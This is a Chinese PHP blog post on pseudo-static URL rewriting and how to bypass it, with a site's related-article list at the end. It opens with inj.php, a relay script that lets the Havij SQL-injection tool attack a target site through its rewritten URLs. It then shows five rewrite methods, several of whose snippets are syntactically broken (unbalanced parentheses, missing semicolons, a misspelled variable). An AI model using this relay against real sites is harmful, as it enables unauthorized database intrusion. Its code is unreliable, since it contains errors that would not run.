PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
用PHP制作静态网站的模板框架(四)
Oct 09 PHP
Apache2 httpd.conf 中文版
Nov 17 PHP
PHP学习 变量使用总结
Mar 24 PHP
简单的php缓存类分享     php缓存机制
Jan 22 PHP
php中出现空白页的原因及解决方法汇总
Jul 08 PHP
20个2014年最优秀的PHP框架回顾
Oct 22 PHP
一款简单实用的php操作mysql数据库类
Dec 08 PHP
php实现Session存储到Redis
Nov 11 PHP
基础的WordPress插件制作教程
Nov 24 PHP
php删除数组中重复元素的方法
Dec 22 PHP
Yii框架组件和事件行为管理详解
May 20 PHP
thinkphp ajaxfileupload实现异步上传图片的示例
Aug 28 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
PHP生成静态页
2006/11/25 PHP
php学习笔记 [预定义数组(超全局数组)]
2011/06/09 PHP
Apache下禁止php文件被直接访问的解决方案
2013/04/25 PHP
探讨:web上存漏洞及原理分析、防范方法
2013/06/29 PHP
排序算法之PHP版快速排序、冒泡排序
2014/04/09 PHP
Laravel 5框架学习之向视图传送数据(进阶篇)
2015/04/08 PHP
学习php设计模式 php实现原型模式(prototype)
2015/12/07 PHP
php注册登录系统简化版
2020/12/28 PHP
PHP数学运算函数大汇总(经典值得收藏)
2016/04/01 PHP
JavaScript的document对象和window对象详解
2010/12/30 Javascript
js文件缓存之版本管理详解
2013/07/05 Javascript
js如何实现点击标签文字,文字在文本框出现
2015/08/05 Javascript
浅谈JS中的bind方法与函数柯里化
2016/08/10 Javascript
Angular使用ng-messages与PHP进行表单数据验证
2016/12/28 Javascript
angularJs自定义过滤器实现手机号信息隐藏的方法
2018/10/08 Javascript
JS阻止事件冒泡的方法详解
2019/08/26 Javascript
基于JavaScript实现表格隔行换色
2020/05/08 Javascript
多种类型jQuery网页验证码插件代码实例
2021/01/09 jQuery
python中global用法实例分析
2015/04/30 Python
python中requests爬去网页内容出现乱码问题解决方法介绍
2017/10/25 Python
Pandas之drop_duplicates:去除重复项方法
2018/04/18 Python
Python代码生成视频的缩略图的实例讲解
2019/12/22 Python
Html5监听手机摇一摇事件的实现
2019/11/07 HTML / CSS
html5自动播放mov格式视频的实例代码
2020/01/14 HTML / CSS
adidas旗下高尔夫装备供应商:TaylorMade Golf(泰勒梅高尔夫)
2016/08/28 全球购物
The Body Shop美体小铺西班牙官网:天然化妆品
2019/06/21 全球购物
如何用JQuery进行表单验证
2013/05/29 面试题
中专毕业个人的自荐信格式
2013/09/21 职场文书
儿科护士自我鉴定
2013/10/14 职场文书
应聘护士自荐信
2013/10/21 职场文书
写好自荐信的几个要点
2013/12/26 职场文书
公司新员工的演讲稿注意事项
2014/01/01 职场文书
中学教师师德师风演讲稿
2014/08/22 职场文书
大学生团员个人总结
2015/02/14 职场文书
利用uni-app生成微信小程序的踩坑记录
2022/04/05 Javascript
python模拟浏览器 使用selenium进入好友QQ空间并留言
2022/04/12 Python